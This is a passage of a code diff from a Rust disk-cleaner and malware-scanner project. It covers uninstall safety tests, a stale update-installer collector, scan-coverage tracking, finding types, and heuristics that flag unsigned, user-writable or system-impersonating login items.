let anchors = bundle_anchors(Path::new(bundle));
assert_eq!(anchors, vec![Path::new(bundle).parent().unwrap()]);
assert_eq!(
policy.denies(Path::new(bundle), &anchors),
None,
"squid must be able to remove the bundle it promised"
);
}
}
#[test]
fn the_bundle_anchor_still_cannot_reach_protected_folders() {
// Widening the anchor to the folder that holds the bundle must not
// widen what can be destroyed: the folder itself is hard-denied, and a
// SIP bundle anchors to `/System/Applications`, which stays out of
// reach even though the bundle path itself looks harmless.
let policy = squid_core::SafetyPolicy::default();
let anchors = bundle_anchors(Path::new("/Applications/Demo.app"));
assert_eq!(anchors, vec![PathBuf::from("/Applications")]);
assert!(
policy
.denies(Path::new("/Applications"), &anchors)
.is_some(),
"the anchor folder itself must never be removable"
);
assert!(policy
.denies(
Path::new("/System/Applications"),
&bundle_anchors(Path::new("/System/Applications/Notes.app"))
)
.is_some());
}
#[test]
fn leftovers_inside_the_bundle_are_never_double_counted() {
let bundle = Path::new("/Applications/Demo.app");
assert!(skip_leftover(
Path::new("/Applications/Demo.app/Contents/Resources/x"),
bundle
));
assert!(skip_leftover(bundle, bundle));
assert!(skip_leftover(Path::new("/Applications"), bundle));
assert!(!skip_leftover(
Path::new("/Users/x/Library/Preferences/com.example.Demo.plist"),
bundle
));
}
#[test]
fn the_tightest_root_wins() {
let home = squid_core::paths::home_dir();
let roots = vec![
squid_platform::LeftoverRoot {
dir: home.clone(),
naming: Naming::Either,
deep: false,
category: Category::Leftovers,
},
squid_platform::LeftoverRoot {
dir: home.join("Library/Preferences"),
naming: Naming::BundleId,
deep: false,
category: Category::Leftovers,
},
];
let path = home.join("Library/Preferences/com.example.Demo.plist");
let anchors = anchor_for(&path, &roots);
assert_eq!(anchors.len(), 1);
assert!(anchors[0].ends_with("Library/Preferences"));
}
#[test]
fn system_apps_are_recognised() {
assert!(is_system_app(&sample_app(
"/System/Applications/Chess.app",
"macOS Apps"
)));
assert!(!is_system_app(&sample_app(
"/Applications/Demo.app",
"Applications"
)));
}
#[test]
fn a_plan_for_a_missing_app_still_describes_the_bundle() {
let engine = Engine::new();
let progress = Progress::new();
let cancel = CancelToken::new();
let app = sample_app("/Applications/SquidDoesNotExist.app", "Applications");
let plan = build_plan(&engine, &app, &progress, &cancel).expect("plan");
assert!(!plan.items.is_empty());
assert_eq!(plan.items[0].path, app.path);
assert!(plan
.items
.iter()
.all(|item| !item.selected || item.lock.is_none()));
}
#[test]
fn a_system_app_plan_is_locked() {
let engine = Engine::new();
let progress = Progress::new();
let cancel = CancelToken::new();
let app = sample_app("/System/Applications/Chess.app", "macOS Apps");
let plan = build_plan(&engine, &app, &progress, &cancel).expect("plan");
assert!(plan.items[0].lock.is_some());
assert!(plan
.items
.iter()
.all(|item| !item.selected || item.lock.is_none()));
}
#[test]
fn find_returns_nothing_for_a_nonsense_query() {
let engine = Engine::new();
let progress = Progress::new();
let cancel = CancelToken::new();
let hits = find(
&engine,
"zzz-definitely-not-installed-zzz",
&cancel,
&progress,
)
.expect("find");
assert!(hits.is_empty());
}
}

View File

@ -1,324 +0,0 @@
//! Update-installers collector (升级安装包): A+B combined.
//!
//! Layer A is a table of known apps whose update drop folders never
//! self-clean (WeChat, WXWork, WPS, …) — precise paths plus the process
//! that must not be running while we sweep. Layer B is a heuristic sweep
//! of one level under each AppData root, descending into directories
//! *named* like update staging areas (update/upgrade/setup/patch/…) so
//! unknown apps are still caught. Layer A results are also fed back into
//! B's seen-set, so one folder is never offered twice.
//!
//! Both layers only ever propose individual **installer-shaped files**
//! (`.exe .msi .msp .zip .7z .rar .cab .crx .nupkg .appx .patch`, ≥ 1 MiB,
//! untouched for ≥ 7 days). Runtime components that apps keep next to
//! those packages (`.bin`, `.dll`, version folders) are deliberately never
//! matched: WeChat's `update\RadiumWMPF.bin` is the *current* version, not
//! junk. Per-file items reuse the plain File deletion + undo path.
use squid_core::{Category, CleanupItem, ItemKind, LockReason};
use std::collections::HashSet;
use std::path::{Path, PathBuf};
/// 7 天:用户确认的阈值。升级后一周内没人再碰的包,应用自己也不会再用了。
pub const MIN_AGE_DAYS: u64 = 7;
/// 1 MiB:小碎片不值得列出来。
pub const MIN_SIZE_BYTES: u64 = 1024 * 1024;
const INSTALLER_EXTENSIONS: [&str; 11] = [
"exe", "msi", "msp", "zip", "7z", "rar", "cab", "crx", "nupkg", "appx", "patch",
];
/// Directory names that mark an update staging area (layer B).
const UPDATE_DIR_NAMES: [&str; 9] = [
"update",
"updates",
"upgrade",
"upgrades",
"setup",
"installer",
"installers",
"patch",
"patches",
];
/// Vendor folders layer B must not sweep. WinGet's package cache belongs to
/// the developer category; Tencent/kingsoft/Netease are covered precisely by
/// layer A (the heuristic would only double-report the same bytes).
const SKIP_VENDORS: [&str; 4] = ["Microsoft", "winget", "Tencent", "kingsoft"];
/// Layer A: known apps → (directory relative to the AppData roots, display
/// label, process that locks the group while running).
struct KnownApp {
dir: &'static str,
label: &'static str,
process: &'static str,
}
#[cfg(windows)]
const KNOWN_APPS: &[KnownApp] = &[
KnownApp {
dir: r"Tencent\xwechat\update",
label: "微信",
process: "weixin.exe",
},
KnownApp {
dir: r"Tencent\WXWork\patch",
label: "企业微信",
process: "wxwork.exe",
},
KnownApp {
dir: r"kingsoft\office6\update",
label: "WPS Office",
process: "wps.exe",
},
KnownApp {
dir: r"kingsoft\WPS Cloud Files\update",
label: "WPS 云文档",
process: "wpscloudsvr.exe",
},
KnownApp {
dir: r"Netease\MailMaster\Update",
label: "网易邮箱大师",
process: "mailmaster.exe",
},
];
/// macOS layer A: Squirrel's update payload folders (`*.nupkg`, full
/// machines) under AppData-style roots.
#[cfg(not(windows))]
const KNOWN_APPS: &[KnownApp] = &[KnownApp {
dir: "SquirrelTemp",
label: "Squirrel 更新包",
process: "",
}];
#[cfg(windows)]
fn appdata_roots() -> Vec<PathBuf> {
let mut roots = Vec::new();
if let Some(local) = std::env::var_os("LOCALAPPDATA") {
roots.push(PathBuf::from(local));
}
if let Some(roaming) = std::env::var_os("APPDATA") {
roots.push(PathBuf::from(roaming));
}
roots
}
#[cfg(not(windows))]
fn appdata_roots() -> Vec<PathBuf> {
let home = squid_core::paths::home_dir();
vec![
home.join("Library/Caches"),
home.join("Library/Application Support"),
]
}
pub fn is_installer(file: &Path) -> bool {
let Some(ext) = file.extension().and_then(|ext| ext.to_str()) else {
return false;
};
INSTALLER_EXTENSIONS
.iter()
.any(|wanted| ext.eq_ignore_ascii_case(wanted))
}
fn stale_enough(meta: &std::fs::Metadata) -> bool {
if meta.len() < MIN_SIZE_BYTES {
return false;
}
let modified = meta
.modified()
.or_else(|_| meta.created())
.unwrap_or(std::time::SystemTime::UNIX_EPOCH);
modified
.elapsed()
.map(|age| age.as_secs() >= MIN_AGE_DAYS * 86_400)
.unwrap_or(true)
}
/// Depth-capped sweep of one staging directory: every stale installer file
/// becomes its own item (File kind → plain delete + undo path).
fn sweep(
dir: &Path,
label: &str,
rule: &str,
blocked: bool,
out: &mut Vec<CleanupItem>,
seen: &mut HashSet<PathBuf>,
) {
let walker = walkdir::WalkDir::new(dir)
.max_depth(3)
.follow_links(false)
.into_iter()
.filter_entry(|entry| !entry.file_type().is_symlink());
for entry in walker.flatten() {
if !entry.file_type().is_file() {
continue;
}
let path = entry.path();
let Ok(meta) = entry.metadata() else { continue };
if !is_installer(path) || !stale_enough(&meta) {
continue;
}
if !seen.insert(path.to_path_buf()) {
continue;
}
let item = CleanupItem::new(
path.to_path_buf(),
ItemKind::File,
Category::UpdateInstallers,
format!("{label} · {}", squash_name(path)),
)
.with_rule(rule)
.with_anchors(std::iter::once(dir.to_path_buf()))
.with_note("升级完成后不再需要;需要时应用会自动重新下载");
let item = if blocked {
item.locked(LockReason::AppRunning)
} else {
item
};
out.push(item);
}
}
/// Long hashed package names read badly in a list; keep a head+tail hint.
fn squash_name(path: &Path) -> String {
let name = path
.file_name()
.map_or_else(String::new, |n| n.to_string_lossy().into_owned());
let chars: Vec<char> = name.chars().collect();
if chars.len() <= 42 {
return name;
}
let head: String = chars[..24].iter().collect();
let tail: String = chars[chars.len() - 16..].iter().collect();
format!("{head}…{tail}")
}
/// One entry point. The caller dedups against rule-matched items and the
/// safety layer (whitelist / protected) is applied like for any other item.
pub fn collect(engine: &crate::Engine, cancel: &squid_core::CancelToken) -> Vec<CleanupItem> {
let mut out = Vec::new();
let mut seen: HashSet<PathBuf> = HashSet::new();
if cancel.is_cancelled() {
return out;
}
let running: Vec<String> = engine
.platform()
.running_executables()
.into_iter()
.map(|proc| {
proc.rsplit(['/', '\\'])
.next()
.unwrap_or_default()
.to_lowercase()
})
.collect();
let roots = appdata_roots();
// Layer A: precise known-app staging folders.
for app in KNOWN_APPS {
let blocked = !app.process.is_empty() && running.iter().any(|name| name == app.process);
for root in &roots {
let dir = root.join(app.dir);
if dir.is_dir() {
sweep(
&dir,
app.label,
"update-installers-known",
blocked,
&mut out,
&mut seen,
);
}
}
}
// Layer B: heuristic sweep of <AppDataRoot>/<vendor>/<update-dir>.
for root in &roots {
let Ok(vendors) = std::fs::read_dir(root) else {
continue;
};
for vendor in vendors.flatten() {
if cancel.is_cancelled() {
return out;
}
if !vendor.file_type().map(|t| t.is_dir()).unwrap_or(false) {
continue;
}
let vendor_name = vendor.file_name().to_string_lossy().into_owned();
if SKIP_VENDORS
.iter()
.any(|skip| vendor_name.eq_ignore_ascii_case(skip))
{
continue;
}
let Ok(subs) = std::fs::read_dir(vendor.path()) else {
continue;
};
for sub in subs.flatten() {
let name = sub.file_name().to_string_lossy().into_owned();
if !UPDATE_DIR_NAMES.contains(&name.to_lowercase().as_str()) || !sub.path().is_dir()
{
continue;
}
sweep(
&sub.path(),
&vendor_name,
"update-installers-scan",
false,
&mut out,
&mut seen,
);
}
}
}
out
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn installer_shapes_are_matched_and_runtime_is_not() {
assert!(is_installer(Path::new("a/patch.zip")));
assert!(is_installer(Path::new("a/Weixin.EXE")));
assert!(is_installer(Path::new("a/update.bin.patch")));
// Runtime components must never match — this is the WeChat rule.
assert!(!is_installer(Path::new("a/RadiumWMPF.bin")));
assert!(!is_installer(Path::new("a/Weixin.dll")));
assert!(!is_installer(Path::new("a/manifest.dat")));
assert!(!is_installer(Path::new("a/noext")));
}
#[test]
fn tiny_files_are_not_offered() {
let temp = std::env::temp_dir().join(format!("squid-updates-size-{}", std::process::id()));
let Ok(()) = std::fs::create_dir_all(&temp) else {
eprintln!("skipping: scratch dir failed");
return;
};
let file = temp.join("small.exe");
if let Err(error) = std::fs::write(&file, vec![0u8; 1024]) {
eprintln!("skipping: scratch write denied ({error})");
return;
}
let meta = std::fs::metadata(&file).expect("meta");
assert!(!stale_enough(&meta));
let big = temp.join("big.exe");
if std::fs::write(&big, vec![0u8; 2 * 1024 * 1024]).is_ok() {
let meta = std::fs::metadata(&big).expect("big meta");
// fresh: size passes but the 7-day gate holds it back
assert!(!stale_enough(&meta));
}
let _ = std::fs::remove_dir_all(&temp);
}
#[test]
fn long_package_names_get_squashed() {
let name = squash_name(Path::new(&format!("C:/x/{}-x64_zh-CN.msi", "a".repeat(60))));
assert!(name.chars().count() <= 42, "{name}");
assert!(name.ends_with("-x64_zh-CN.msi"));
}
}

View File

@ -1,21 +0,0 @@
[package]
name = "squid-guard"
version.workspace = true
edition.workspace = true
rust-version.workspace = true
license.workspace = true
description = "Malware scanning, detection rules and reversible quarantine for squid"
[dependencies]
squid-core.workspace = true
squid-platform.workspace = true
serde.workspace = true
serde_json.workspace = true
sha2 = "0.10"
hex = "0.4"
walkdir.workspace = true
yara-x = { version = "1.23", default-features = false, features = ["string-module","math-module","hash-module","time-module","macho-module","pe-module","constant-folding","exact-atoms","fast-regexp"] }
chrono.workspace = true
[target.'cfg(target_os = "macos")'.dependencies]
plist.workspace = true

View File

@ -1,231 +0,0 @@
//! Which parts of the machine a scan actually looked at.
//!
//! A cleaner can be vague about coverage because missing a cache costs nothing.
//! A security scan cannot: "no threats found" that quietly skipped
//! `~/Library/Mail` for lack of Full Disk Access is worse than no answer at all.
//! So every root records what happened to it, and the report is only allowed to
//! say "clean" for the roots that were walked.
//!
//! Nothing here asks the operating system for permission and nothing here
//! retries a refusal. A denied directory is a fact about this run, reported as
//! one, and the person using squid decides whether to grant access and rescan.
use serde::{Deserialize, Serialize};
use squid_core::paths;
use std::path::{Path, PathBuf};
/// What happened to one root during a scan.
#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "kebab-case")]
pub enum RootOutcome {
/// Every readable entry beneath it was offered to the detectors.
Walked,
/// The root itself could not be opened — usually a privacy permission.
Denied,
/// It was not there, which is not a gap in coverage.
Absent,
/// The user or a rule excluded it on purpose.
Excluded,
/// Deliberately not part of this scan mode.
OutOfScope,
/// Stopped early: cancelled, or the entry budget ran out.
Partial,
}
impl RootOutcome {
pub fn counts_as_gap(self) -> bool {
matches!(self, RootOutcome::Denied | RootOutcome::Partial)
}
pub fn as_str(self) -> &'static str {
match self {
RootOutcome::Walked => "walked",
RootOutcome::Denied => "denied",
RootOutcome::Absent => "absent",
RootOutcome::Excluded => "excluded",
RootOutcome::OutOfScope => "out-of-scope",
RootOutcome::Partial => "partial",
}
}
}
#[derive(Clone, Debug, Serialize, Deserialize)]
pub struct RootRecord {
pub path: PathBuf,
pub display_path: String,
pub outcome: RootOutcome,
pub reason: Option<String>,
pub files: usize,
pub scanned: usize,
pub skipped: usize,
}
/// The whole coverage statement for one scan.
#[derive(Clone, Debug, Default, Serialize, Deserialize)]
pub struct Coverage {
pub roots: Vec<RootRecord>,
}
impl Coverage {
pub fn push(&mut self, mut record: RootRecord) {
if record.display_path.is_empty() {
record.display_path = paths::pretty(&record.path);
}
self.roots.push(record);
}
/// True when the scan saw everything it meant to see. This is the only
/// condition under which the UI is allowed to say "nothing found" without a
/// qualifier next to it.
pub fn complete(&self) -> bool {
!self.roots.iter().any(|root| root.outcome.counts_as_gap())
}
pub fn gaps(&self) -> Vec<&RootRecord> {
self.roots
.iter()
.filter(|root| root.outcome.counts_as_gap())
.collect()
}
pub fn walked_files(&self) -> usize {
self.roots.iter().map(|root| root.scanned).sum()
}
pub fn skipped_files(&self) -> usize {
self.roots.iter().map(|root| root.skipped).sum()
}
/// Record the outcome of walking one root, folding in the entry count.
pub fn record_walk(
&mut self,
root: &Path,
outcome: RootOutcome,
reason: Option<String>,
files: usize,
scanned: usize,
) {
self.push(RootRecord {
path: root.to_path_buf(),
display_path: String::new(),
outcome,
reason,
files,
scanned,
skipped: files.saturating_sub(scanned),
});
}
}
/// Decide what happened to a root from the error reading it, so a missing
/// `~/Applications` is not reported as a coverage gap while a refused
/// `~/Library/Mail` is.
pub fn outcome_for_error(error: &std::io::Error) -> RootOutcome {
use std::io::ErrorKind;
match error.kind() {
ErrorKind::NotFound => RootOutcome::Absent,
ErrorKind::PermissionDenied => RootOutcome::Denied,
_ => RootOutcome::Denied,
}
}
/// A path the scan should never descend into, wherever it appears.
pub fn is_never_scanned(path: &Path) -> bool {
const SKIP_DIRS: [&str; 8] = [
".git",
"node_modules",
".Trash",
".Trashes",
"$RECYCLE.BIN",
"System Volume Information",
".Spotlight-V100",
".fseventsd",
];
// The quarantine holds files this crate moved deliberately; scanning it
// would report the same finding forever.
if path.starts_with(quarantine_root()) {
return true;
}
path.ancestors()
.filter_map(|ancestor| ancestor.file_name())
.any(|name| SKIP_DIRS.iter().any(|skip| name.eq(*skip)))
}
/// Where quarantined files live. One place, inside the state directory, so the
/// user can always find and empty it.
pub fn quarantine_root() -> PathBuf {
squid_core::Settings::state_dir()
.join("security")
.join("quarantine")
}
/// Where rule packs and the hash cache live.
pub fn intel_root() -> PathBuf {
squid_core::Settings::state_dir()
.join("security")
.join("intel")
}
/// Where startup-item backups are kept before a change.
pub fn startup_backup_root() -> PathBuf {
squid_core::Settings::state_dir()
.join("security")
.join("startup-backups")
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn a_missing_folder_is_not_a_coverage_gap() {
let error = std::io::Error::from(std::io::ErrorKind::NotFound);
assert_eq!(outcome_for_error(&error), RootOutcome::Absent);
assert!(!RootOutcome::Absent.counts_as_gap());
let denied = std::io::Error::from(std::io::ErrorKind::PermissionDenied);
assert_eq!(outcome_for_error(&denied), RootOutcome::Denied);
assert!(RootOutcome::Denied.counts_as_gap());
}
#[test]
fn coverage_is_only_complete_without_denials() {
let mut coverage = Coverage::default();
coverage.record_walk(Path::new("/a"), RootOutcome::Walked, None, 10, 10);
coverage.record_walk(Path::new("/b"), RootOutcome::Absent, None, 0, 0);
assert!(coverage.complete());
coverage.record_walk(
Path::new("/c"),
RootOutcome::Denied,
Some("Full Disk Access".into()),
0,
0,
);
assert!(!coverage.complete());
assert_eq!(coverage.gaps().len(), 1);
assert_eq!(coverage.walked_files(), 10);
assert_eq!(coverage.skipped_files(), 0);
}
#[test]
fn vendored_and_recycle_directories_are_never_walked() {
assert!(is_never_scanned(Path::new(
"/Users/x/proj/node_modules/left-pad"
)));
assert!(is_never_scanned(Path::new(
"/Volumes/Data/.Trash/thing.app"
)));
assert!(is_never_scanned(&quarantine_root().join("payload.bin")));
assert!(!is_never_scanned(Path::new("/Applications/Calculator.app")));
}
#[test]
fn quarantine_lives_in_the_state_directory() {
assert!(
quarantine_root().ends_with("security/quarantine")
|| quarantine_root()
.to_string_lossy()
.replace('\\', "/")
.ends_with("security/quarantine")
);
}
}

View File

@ -1,183 +0,0 @@
//! What a scan decided about one file, and how it knows.
//!
//! The three levels are not a severity dial. They answer different questions,
//! and the difference is the contract the UI relies on:
//!
//! - [`Confidence::Confirmed`] means a specific published rule or hash says this
//! exact file is bad. It may be quarantined automatically if the user opted in.
//! - [`Confidence::Suspicious`] means the file has properties that a careful
//! person would check, with nothing published to point at. Alert, never move.
//! - [`Confidence::Advisory`] is not about the file at all — it is about the
//! machine: protection switched off, definitions old, a directory that could
//! not be read. Nothing to quarantine, something to say.
//!
//! Every finding carries [`Evidence`], and the UI shows that evidence rather
//! than a score. "SHA-256 is on the known-bad list" is checkable; "risk 72" is
//! not.
use serde::{Deserialize, Serialize};
use std::path::PathBuf;
#[derive(Clone, Copy, Debug, PartialEq, Eq, PartialOrd, Ord, Serialize, Deserialize)]
#[serde(rename_all = "lowercase")]
pub enum Confidence {
Advisory,
Suspicious,
Confirmed,
}
impl Confidence {
pub fn as_str(self) -> &'static str {
match self {
Confidence::Advisory => "advisory",
Confidence::Suspicious => "suspicious",
Confidence::Confirmed => "confirmed",
}
}
/// Only confirmed findings may be moved without asking again, and only this
/// method decides that — the UI cannot widen it.
pub fn auto_quarantinable(self) -> bool {
self == Confidence::Confirmed
}
}
/// One reason a file was reported. A finding may hold several: a binary that
/// matches a family rule *and* starts at login *and* is unsigned is three
/// statements, and a person reading the row deserves all three.
#[derive(Clone, Debug, Serialize, Deserialize)]
#[serde(rename_all = "camelCase")]
pub enum Evidence {
/// The SHA-256 of the file is on the known-bad list.
DeniedHash { sha256: String, threat: String },
/// A YARA-X rule fired.
YaraRule {
rule: String,
description: String,
family: String,
},
/// A published allow-list entry does not cover a file that claims to be it.
Impersonation { claimed: String, path: PathBuf },
/// Where this entry is started from.
StartsAtLogin { entry: String, source: String },
/// No usable code signature.
Unsigned { path: PathBuf, note: Option<String> },
/// Runs from a location every normal user of this machine can rewrite.
WritableLocation { path: PathBuf },
/// The file the entry points at is gone.
MissingTarget { path: PathBuf },
/// An advisory about the machine rather than a file.
SystemState { key: String, detail: String },
/// Part of the scan could not be checked.
Coverage { path: PathBuf, reason: String },
}
impl Evidence {
/// Stable identity for de-duplication across scans, so an ignored finding
/// stays ignored after a rescan rather than reappearing under a new row.
pub fn key(&self) -> String {
match self {
Evidence::DeniedHash { sha256, threat } => format!("hash:{sha256}:{threat}"),
Evidence::YaraRule { rule, .. } => format!("yara:{rule}"),
Evidence::Impersonation { claimed, .. } => format!("impersonation:{claimed}"),
Evidence::StartsAtLogin { entry, .. } => format!("startup:{entry}"),
Evidence::Unsigned { path, .. } => format!("unsigned:{}", path.display()),
Evidence::WritableLocation { path } => format!("writable:{}", path.display()),
Evidence::MissingTarget { path } => format!("missing:{}", path.display()),
Evidence::SystemState { key, .. } => format!("state:{key}"),
Evidence::Coverage { path, reason } => {
format!("coverage:{}:{reason}", path.display())
}
}
}
/// One line for a table cell. The full evidence stays available in details.
pub fn summary(&self) -> String {
match self {
Evidence::DeniedHash { threat, .. } => format!("known-bad hash: {threat}"),
Evidence::YaraRule { rule, family, .. } => {
if family.is_empty() {
format!("matches rule {rule}")
} else {
format!("matches rule {rule} ({family})")
}
}
Evidence::Impersonation { claimed, .. } => {
format!("claims to be {claimed} but is not where {claimed} lives")
}
Evidence::StartsAtLogin { entry, source } => {
format!("starts at login via {source} ({entry})")
}
Evidence::Unsigned { note, .. } => match note {
Some(note) => format!("not signed: {note}"),
None => "not signed".into(),
},
Evidence::WritableLocation { path } => {
format!("runs from a user-writable location: {}", path.display())
}
Evidence::MissingTarget { path } => {
format!("target is gone: {}", path.display())
}
Evidence::SystemState { detail, .. } => detail.clone(),
Evidence::Coverage { path, reason } => {
format!("not checked ({}): {reason}", path.display())
}
}
}
pub fn path(&self) -> Option<&PathBuf> {
match self {
Evidence::Impersonation { path, .. }
| Evidence::Unsigned { path, .. }
| Evidence::WritableLocation { path }
| Evidence::MissingTarget { path }
| Evidence::Coverage { path, .. } => Some(path),
_ => None,
}
}
}
/// One reported file or machine state.
#[derive(Clone, Debug, Serialize, Deserialize)]
#[serde(rename_all = "camelCase")]
pub struct Finding {
/// Backend-issued. The frontend sends this back to quarantine; it never
/// sends a path.
pub id: String,
pub confidence: Confidence,
/// The file the finding is about. `None` for machine-state advisories.
pub path: Option<PathBuf>,
pub display_path: Option<String>,
/// What the thing is called in a list: file name, or the advisory subject.
pub name: String,
/// Human-readable statement of the threat or the reason.
pub title: String,
pub description: String,
pub evidence: Vec<Evidence>,
pub size: u64,
pub sha256: Option<String>,
pub signed: bool,
pub publisher: Option<String>,
pub found_at_ms: u64,
/// Set once the file has been quarantined, from the ledger.
pub quarantined: bool,
/// The user dismissed this finding for this scan only.
pub ignored: bool,
}
impl Finding {
pub fn confirmed(&self) -> bool {
self.confidence == Confidence::Confirmed
}
/// De-duplication identity: the same file reported by two detectors is one
/// row with two pieces of evidence.
pub fn fingerprint(&self) -> String {
let path = self
.path
.as_ref()
.map(|path| path.to_string_lossy().into_owned())
.unwrap_or_else(|| "-".into());
format!("{}|{}", self.confidence.as_str(), path)
}
}

View File

@ -1,445 +0,0 @@
//! Judgement calls that no published signature makes for you.
//!
//! These rules describe conditions a person would want to know about, not
//! threats. Each one produces [`Evidence`] and a ceiling, and the ceiling is the
//! important part: heuristics stop at `suspicious`, so a machine with an
//! unsigned updater in `~/Library/Application Support` gets a row to read, not a
//! file moved behind its back.
//!
//! Two properties do most of the work. **Who can rewrite the file**: a binary
//! that starts at login from a folder the current user owns can be replaced by
//! anything the current user runs, which is how persistence malware survives an
//! update. **What claims to be true**: a file named like a system component, or
//! launched by an entry whose target has vanished, is a mismatch between the
//! story and the facts.
use crate::findings::{Confidence, Evidence};
use squid_platform::startup::{StartupItem, StartupRisk, StartupScope, StartupSource};
use std::path::{Path, PathBuf};
/// What the scanner knows about one candidate file when it asks for a judgement.
pub struct Candidate<'a> {
pub path: &'a Path,
/// The login/startup entry that launches this file, when there is one.
pub startup: Option<&'a StartupItem>,
/// True when any user of this machine can replace the file.
pub world_writable: bool,
/// Whether the file carries a signature blob, from
/// [`squid_platform::trust::has_signature_blob`]. The caller answers this
/// because it decides what the question is worth: asking the operating
/// system to *validate* a signature costs a subprocess on macOS and a
/// certificate-chain walk on Windows, which is affordable for the few files
/// a scan is already reporting and ruinous for the thousands it is only
/// filtering.
pub signed: bool,
}
/// Judge one candidate. Returns evidence; the caller combines it with whatever
/// the published detectors found and takes the strongest level.
pub fn judge(candidate: &Candidate) -> Vec<Evidence> {
let mut evidence = Vec::new();
if let Some(item) = candidate.startup {
evidence.push(Evidence::StartsAtLogin {
entry: item.name.clone(),
source: item.source.as_str().to_string(),
});
if item.risks.contains(&StartupRisk::MissingTarget) {
evidence.push(Evidence::MissingTarget {
path: item
.program
.clone()
.unwrap_or_else(|| candidate.path.to_path_buf()),
});
}
if item.scope == StartupScope::System {
// A system-scope entry pointed at a user-writable file is the
// classic privilege hop: root runs something an unqualified user may
// overwrite.
if candidate.world_writable || starts_in_user_space(candidate.path) {
evidence.push(Evidence::WritableLocation {
path: candidate.path.to_path_buf(),
});
}
}
}
if !candidate.signed {
evidence.push(Evidence::Unsigned {
path: candidate.path.to_path_buf(),
note: None,
});
}
if starts_in_user_space(candidate.path) && candidate.startup.is_some() {
evidence.push(Evidence::WritableLocation {
path: candidate.path.to_path_buf(),
});
}
if let Some(claimed) =
impersonated_component(candidate.path).or_else(|| windows_lookalike(candidate.path))
{
evidence.push(Evidence::Impersonation {
claimed: claimed.to_string(),
path: candidate.path.to_path_buf(),
});
}
dedupe(&mut evidence);
evidence
}
/// The ceiling these heuristics can support: suspicious, never confirmed.
pub const CEILING: Confidence = Confidence::Suspicious;
/// Level for a set of heuristic findings alone.
///
/// One weak signal is a note; two that point the same way are a finding. A binary
/// with no signature is ordinary — squid itself is one — but a binary with no
/// signature *that starts at login* is the shape persistence malware takes, and a
/// file that claims to be a system component while sitting somewhere else is
/// suspicious on its own because nothing honest does that.
///
/// The alternative, which this used to be, was to call any single signal
/// suspicious. On a real machine that produced nine hundred rows next to a
/// download folder, and a list that long is read as noise and then ignored, which
/// is worse than not reporting it.
pub fn confidence(evidence: &[Evidence]) -> Confidence {
let mut weight = 0_u8;
for item in evidence {
match item {
// The one signal strong enough to stand alone.
Evidence::Impersonation { .. } => return Confidence::Suspicious,
Evidence::StartsAtLogin { .. }
| Evidence::Unsigned { .. }
| Evidence::WritableLocation { .. } => weight += 1,
// "The file it points at is gone" is housekeeping. It explains a
// finding and is worth showing beside one, but on its own it has
// never hurt anybody.
Evidence::MissingTarget { .. } => {}
// Everything else is not a heuristic's verdict at all. A denied hash
// or a YARA match is graded by the detector that produced it, and
// counting it here would let a published hit lend false
// corroboration to a weak heuristic sitting next to it.
_ => {}
}
}
if weight >= 2 {
Confidence::Suspicious
} else {
Confidence::Advisory
}
}
/// Locations every user of this machine can write to, and therefore locations
/// where a file that runs at login can be swapped without asking anybody.
fn starts_in_user_space(path: &Path) -> bool {
let home = squid_platform::startup::home_dir();
let text = path.to_string_lossy().to_lowercase();
if path.starts_with(&home) {
return true;
}
const WRITABLE: [&str; 4] = ["/users/shared/", "/tmp/", "/private/tmp/", "/var/folders/"];
WRITABLE.iter().any(|prefix| text.starts_with(prefix))
}
/// Names that belong to the operating system, so a file wearing one somewhere
/// else is worth a look. Matched on the whole stem, never a substring, because
/// `SpotlightHelper.app` in a legit vendor's folder is not claiming to be Apple's.
const LOOKALIKES: [(&str, &str); 8] = [
(
"Activity Monitor",
"/System/Applications/Utilities/Activity Monitor.app",
),
("Dock", "/System/Library/CoreServices/Dock.app"),
(
"ControlCenter",
"/System/Library/CoreServices/ControlCenter.app",
),
(
"WindowServer",
"/System/Library/PrivateFrameworks/SkyLight.framework",
),
("kernel_task", "the kernel"),
("launchd", "/sbin/launchd"),
(
"loginwindow",
"/System/Library/CoreServices/loginwindow.app",
),
(
"UserNotificationCenter",
"/System/Library/CoreServices/UserNotificationCenter.app",
),
];
fn impersonated_component(path: &Path) -> Option<&'static str> {
let file_name = path.file_name()?.to_string_lossy().into_owned();
let stem = file_name
.trim_end_matches(".app")
.trim_end_matches(".plist")
.to_string();
let (name, real_home) = LOOKALIKES
.iter()
.find(|(name, _)| name.eq_ignore_ascii_case(&stem))?;
// Apple's own copy living in its own place is not impersonating anything,
// and neither is anything Apple ships inside /System.
if path.starts_with("/System") || path.starts_with("/usr/libexec") {
return None;
}
let _ = real_home;
Some(*name)
}
/// Windows keeps its own set of names that people recognise and malware borrows.
#[cfg(windows)]
const WINDOWS_LOOKALIKES: [(&str, &str); 4] = [
("svchost", "%SystemRoot%\\System32\\svchost.exe"),
("explorer", "%SystemRoot%\\explorer.exe"),
("lsass", "%SystemRoot%\\System32\\lsass.exe"),
("taskhostw", "%SystemRoot%\\System32\\taskhostw.exe"),
];
#[cfg(windows)]
fn windows_lookalike(path: &Path) -> Option<&'static str> {
let file_name = path.file_name()?.to_string_lossy().into_owned();
let stem = file_name.trim_end_matches(".exe").to_string();
let system = std::env::var("SystemRoot").unwrap_or_default();
let (name, real) = WINDOWS_LOOKALIKES
.iter()
.find(|(name, _)| name.eq_ignore_ascii_case(&stem))?;
if !system.is_empty() && path.starts_with(&system) {
return None;
}
let _ = real;
Some(*name)
}
#[cfg(not(windows))]
fn windows_lookalike(_path: &Path) -> Option<&'static str> {
None
}
pub fn dedupe(evidence: &mut Vec<Evidence>) {
let mut seen: Vec<String> = Vec::with_capacity(evidence.len());
evidence.retain(|item| {
let key = item.key();
if seen.contains(&key) {
return false;
}
seen.push(key);
true
});
}
/// Startup entries whose own risk flags deserve a row in the findings list, even
/// though there is no file to quarantine. These are advisories about the
/// machine's persistence, and they are how a person finds an entry whose target
/// was deleted by hand and left behind.
pub fn startup_advisories(
items: &[StartupItem],
) -> Vec<(PathBuf, String, Confidence, Vec<Evidence>)> {
let mut out = Vec::new();
for item in items {
if item.system_vendor {
continue;
}
let mut evidence = Vec::new();
if item.risks.contains(&StartupRisk::MissingTarget) {
evidence.push(Evidence::MissingTarget {
path: item.program.clone().unwrap_or_default(),
});
}
if item.risks.contains(&StartupRisk::InTempDir)
|| item.risks.contains(&StartupRisk::HiddenHomeDirectory)
{
evidence.push(Evidence::WritableLocation {
